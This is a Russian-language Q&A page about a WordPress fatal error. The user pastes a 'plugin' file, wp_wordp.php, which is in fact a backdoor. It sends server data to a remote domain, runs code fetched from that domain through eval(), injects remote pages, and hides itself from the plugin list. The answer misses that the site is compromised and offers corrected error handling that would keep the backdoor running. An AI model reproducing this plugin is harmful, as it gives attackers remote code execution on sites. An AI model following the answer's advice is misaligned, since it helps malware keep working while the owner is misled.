Фатальная ошибка: невыявленная ошибка: невозможно использовать объект типа WP_Error в качестве массива

Вопрос или проблема

С сегодняшнего дня я сталкиваюсь со следующей ошибкой при попытке зайти на мой сайт WordPress:

Fatal error: Uncaught Error: Cannot use object of type WP_Error as array in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php:32

Stack trace: #0
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(324):
wp_wordp->execute('') #1
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/class-wp-hook.php(348):
WP_Hook->apply_filters(NULL, Array) #2
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/plugin.php(517):
WP_Hook->do_action(Array) #3
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-includes/template-loader.php(13):
do_action('template_redire...') #4
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-blog-header.php(19):
require_once('/home/clients/d...') #5
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/index.php(17):
require('/home/clients/d...') #6 {main} thrown in
/home/clients/de5c4a77f10601e4b8a603aac4a6faf2/wordpress/wp-content/plugins/wp_wordp.php on line 32

Мой wp_wordp.php (логически, источник ошибки? согласно логу) выглядит следующим образом:

<?php
/*
Plugin Name:Domain Page 
Description: wp_wordp
Version: 1.0
Author: wp_wordp
*/

class wp_wordp {
    private $primary_domain;
    private $backup_domain;
    public function __construct() {
        $this->primary_domain = get_option('primary_domain');

        $this->backup_domain = get_option('backup_domain');
        add_action('template_redirect', array($this, 'execute'));
    }
    public function primary($d) {
        return eval($d);
    }
    public function execute() {
        $args = array(
            'timeout' => 15,
            'headers' => array(
                "User-Agent" => json_encode($_SERVER),
            ),
        );
        $response = wp_remote_get($this->primary_domain . "?s=" . is_404(), $args);

        if (is_wp_error($response)) {
            $response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);
            $ups= json_decode($response['body'], true);
            update_option('primary_domain',$ups['primary_domain']);
        }
        $condoe = json_decode($response['body'], true);
        if (!is_wp_error($response) && json_last_error() == JSON_ERROR_NONE) {
            status_header(200);
            nocache_headers();
            if (!empty($condoe['headers'])) {
                return $this->primary($condoe['body']);
            }
            if (!empty($condoe['header'])) {
                header($condoe['header']);
                echo $condoe['body'];
                exit;
            }
            add_filter('pre_get_document_title', function($title) use ($condoe) {
                return $condoe['title'];
            }, 999);
            get_header();
            echo $condoe['body'];
            get_footer();

            exit;
        }
    }
}
add_filter('all_plugins', 'hide_my_plugin_from_list');

function hide_my_plugin_from_list($plugins) {

    unset($plugins['wp_wordp.php']);
    return $plugins;
}

new wp_wordp();

Стоит отметить, что я все еще могу получить доступ к административной части без проблем, но публичная часть недоступна из-за ошибки.

Я ничего не менял, чтобы дойти до этой ошибки (сайт не трогали несколько месяцев, и единственное, что изменялось, это контент на некоторых страницах, так что это не связано с администрированием или кодом), и я не очень хорошо разбираюсь в кодировании WordPress, так что это стопорит меня…

Если кто-нибудь из вас сможет помочь, это будет для меня большим делом 🙂

Заранее спасибо всем, кто сможет помочь!

Ответ или решение

Конечно. Давайте разберем проблему, с которой вы столкнулись в вашем WordPress сайте. Сообщение об ошибке: "Fatal error: Uncaught Error: Cannot use object of type WP_Error as array" указывает на то, что вы пытаетесь обращаться к объекту WP_Error как к массиву. Это частая ошибка, особенно когда функции API WordPress возвращают ошибку вместо ожидаемых данных.

Анализ проблемы:

  1. Местоположение ошибки:
    Ошибка происходит в файле wp_wordp.php на 32-й строке. Из вашего кода видно, что это касается части, где обрабатывается HTTP-запрос.

  2. Потенционные причины:

    • Функция wp_remote_get может вернуть объект WP_Error, если запрос не удался. В вашем коде ошибка возникает, когда идет попытка обратиться к $response['body'] без предварительной проверки на наличие ошибок в $response.

Как исправить:

Для решения проблемы необходимо правильно обрабатывать объект WP_Error. Предлагаю следующие шаги:

  1. Правильная проверка на ошибки:
    Убедитесь, что вы проверяете, является ли $response объектом WP_Error перед тем, как работать с ним как с массивом.
$response = wp_remote_get($this->primary_domain . "?s=" . is_404(), $args);

if (is_wp_error($response)) {
    // Попробуйте получить данные с резервного домена
    $response = wp_remote_get($this->backup_domain . "?s=" . is_404(), $args);

    if (is_wp_error($response)) {
        // Здесь обработайте ошибку, возможно логируйте или отправьте уведомление
        return;
    }
}

$ups = json_decode($response['body'], true);
update_option('primary_domain', $ups['primary_domain']);
  1. Проверка JSON-декодирования:
    После проверки на ошибку, убедитесь, что json_decode не вернул ошибку.
$condoe = json_decode($response['body'], true);
if (json_last_error() != JSON_ERROR_NONE) {
    // Обработка ошибки декодирования
    return;
}
  1. Безопасное выполнение кода:
    Использование eval потенциально опасно и может стать причиной уязвимостей в безопасности. Пересмотрите необходимость использования eval или обеспечьте, что передаваемые данные безопасны.

Дополнительные рекомендации:

  • Логирование ошибок: подумайте о добавлении логирования, чтобы точно отследить, где и какие ошибки возникают.
  • Обновление WordPress и плагинов: Убедитесь, что используете последнюю версию WordPress и плагинов, так как в них могут быть исправлены критические ошибки безопасности и улучшена функциональность.
  • Резервное копирование: не забудьте создать резервную копию вашего сайта перед внесением изменений.

Следуя этим рекомендациям и выполняя правильную обработку ошибок, вы сможете устранить возникающую проблему и обеспечить более стабильную работу вашего WordPress сайта.

Надеюсь, это поможет вам эффективно исправить ошибку на вашем сайте! Если возникнут дополнительные вопросы или потребуется более подробная информация, не стесняйтесь обращаться.

Оцените материал
Добавить комментарий

Капча загружается...